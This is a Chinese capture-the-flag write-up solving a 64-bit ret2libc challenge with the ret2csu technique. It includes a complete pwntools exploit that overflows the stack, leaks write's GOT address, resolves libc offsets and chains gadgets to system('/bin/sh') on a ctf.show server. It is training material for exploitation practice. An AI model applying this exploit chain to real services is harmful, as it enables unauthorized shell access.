今天接触到一个新类型ret2csu的题,写一下wp,不能保证没有错误,欢迎大家指出
首先拿到题目,名字暗示了用ret2libc且程序为64位的。既然这样那直接拖进ida64:

乍一看,程序很简短,无后门binsh,像是典型的ret2libc,但是下手后就会发现没有那么简单。程序中唯一能有输出的函数是write,需要三个参数:

按照64位函数的传参顺序,我们需要rdi,rsi,rdx三个寄存器,但是用ROPgadget只能找到控制前两个寄存器的gadget:

无法控制rdx,因此无法简单的用ROPgadget去做,需要一个能够进一步控制rdx的方法去做
上CTFwiki上找到了类似的思路:ret2csu,正好解决了三个参数的问题,具体原理wiki里有,这里就只说明一下应该注意的小问题。
注意:不同的libc版本csu部分使用的寄存器会有区别
去ida里找到csu:

我们取4006A0和4006BA这两部分构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| csuStartAddr = 0x4006a0 csuEndAddr = 0x4006ba
payload = b'a' * 160 + b'b' * 8 payload += p64(retAddr) payload += p64(csuEndAddr) payload += p64(0) payload += p64(1) payload += p64(writeGot) payload += p64(0x8) payload += p64(writeGot) payload += p64(0x1)
payload += p64(csuStartAddr) payload += b'a' * 56 payload += p64(mainAddr) p.sendlineafter(b'Me?\n', payload)
|
注意三个参数的顺序,与实际的相反,其次要注意调用csustart的时候会执行到结尾,期间栈顶rsp上升了8个字节且pop了6次,因此我们要在栈上补充(6+1)*8=56个字节,最后在返回main(注意用write的plt无法跳转,只能用got,因为这里相当于call [r12]有个取地址,而got表存放的就是函数地址,plt表存放的是跳转到got/动态解析函数的指令)
下一步就是经典的算偏移,栈溢出拿shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| writeAddr = u64(p.recv(8).ljust(8, b'\0')) log.success('writeAddr:' + hex(writeAddr))
libc = LibcSearcher('write', writeAddr)
offset = writeAddr - libc.dump('write') binsh = offset + libc.dump('str_bin_sh') system = offset + libc.dump('system')
payload = b'a' * 160 + b'b' * 8 payload += p64(retAddr) payload += p64(retAddr) payload += p64(rdiAddr) payload += p64(binsh) payload += p64(system) payload += p64(mainAddr) p.sendlineafter(b'Me?\n', payload)
|
还是要注意两个ret栈对齐,libc选0就能拿到shell
成功拿到flag:

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * from LibcSearcher import *
context(arch="amd64",os="linux",log_level="debug") binary = '../ret2libc_64' elf =ELF(binary)
local = 1 port = 28174 if local == 0: p = process(binary) else: p = remote("pwn.challenge.ctf.show",port)
next = b"ls && cat flag"
writePlt = elf.plt["write"] writeGot = elf.got["write"]
mainAddr = elf.symbols["main"] retAddr = 0x00000000004004a9 rdiAddr = 0x00000000004006c3
csuStartAddr = 0x4006a0 csuEndAddr = 0x4006ba
payload = b'a' * 160 + b'b' * 8 payload += p64(retAddr) payload += p64(csuEndAddr) payload += p64(0) payload += p64(1) payload += p64(writeGot) payload += p64(0x8) payload += p64(writeGot) payload += p64(0x1) payload += p64(csuStartAddr) payload += b'a' * 56 payload += p64(mainAddr) p.sendlineafter(b'Me?\n', payload)
writeAddr = u64(p.recv(8).ljust(8, b'\0')) log.success('writeAddr:' + hex(writeAddr))
libc = LibcSearcher('write', writeAddr)
offset = writeAddr - libc.dump('write') binsh = offset + libc.dump('str_bin_sh') system = offset + libc.dump('system')
payload = b'a' * 160 + b'b' * 8 payload += p64(retAddr) payload += p64(retAddr) payload += p64(rdiAddr) payload += p64(binsh) payload += p64(system) payload += p64(mainAddr) p.sendlineafter(b'Me?\n', payload)
p.sendline(next) p.interactive()
|